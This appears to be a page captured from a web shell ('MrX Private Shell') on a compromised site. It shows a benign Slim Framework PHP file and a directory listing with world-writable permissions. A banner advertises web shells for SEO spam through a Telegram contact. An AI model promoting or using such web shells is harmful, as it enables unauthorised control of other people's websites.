__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Slim Framework (https://slimframework.com)
*
* @license https://github.com/slimphp/Slim/blob/4.x/LICENSE.md (MIT License)
*/
declare(strict_types=1);
namespace Slim\Factory\Psr17;
use Psr\Http\Message\ServerRequestInterface;
use RuntimeException;
use Slim\Interfaces\ServerRequestCreatorInterface;
use function class_exists;
class SlimHttpServerRequestCreator implements ServerRequestCreatorInterface
{
protected ServerRequestCreatorInterface $serverRequestCreator;
protected static string $serverRequestDecoratorClass = 'Slim\Http\ServerRequest';
public function __construct(ServerRequestCreatorInterface $serverRequestCreator)
{
$this->serverRequestCreator = $serverRequestCreator;
}
/**
* {@inheritdoc}
*/
public function createServerRequestFromGlobals(): ServerRequestInterface
{
if (!static::isServerRequestDecoratorAvailable()) {
throw new RuntimeException('The Slim-Http ServerRequest decorator is not available.');
}
$request = $this->serverRequestCreator->createServerRequestFromGlobals();
if (
!((
$decoratedServerRequest = new static::$serverRequestDecoratorClass($request)
) instanceof ServerRequestInterface)
) {
throw new RuntimeException(get_called_class() . ' could not instantiate a decorated server request.');
}
return $decoratedServerRequest;
}
public static function isServerRequestDecoratorAvailable(): bool
{
return class_exists(static::$serverRequestDecoratorClass);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| GuzzlePsr17Factory.php | File | 577 B | 0777 |
|
| HttpSoftPsr17Factory.php | File | 607 B | 0777 |
|
| LaminasDiactorosPsr17Factory.php | File | 606 B | 0777 |
|
| NyholmPsr17Factory.php | File | 1.14 KB | 0777 |
|
| Psr17Factory.php | File | 2.73 KB | 0777 |
|
| Psr17FactoryProvider.php | File | 1.05 KB | 0777 |
|
| ServerRequestCreator.php | File | 1.09 KB | 0777 |
|
| SlimHttpPsr17Factory.php | File | 1.12 KB | 0777 |
|
| SlimHttpServerRequestCreator.php | File | 1.58 KB | 0777 |
|
| SlimPsr17Factory.php | File | 600 B | 0777 |
|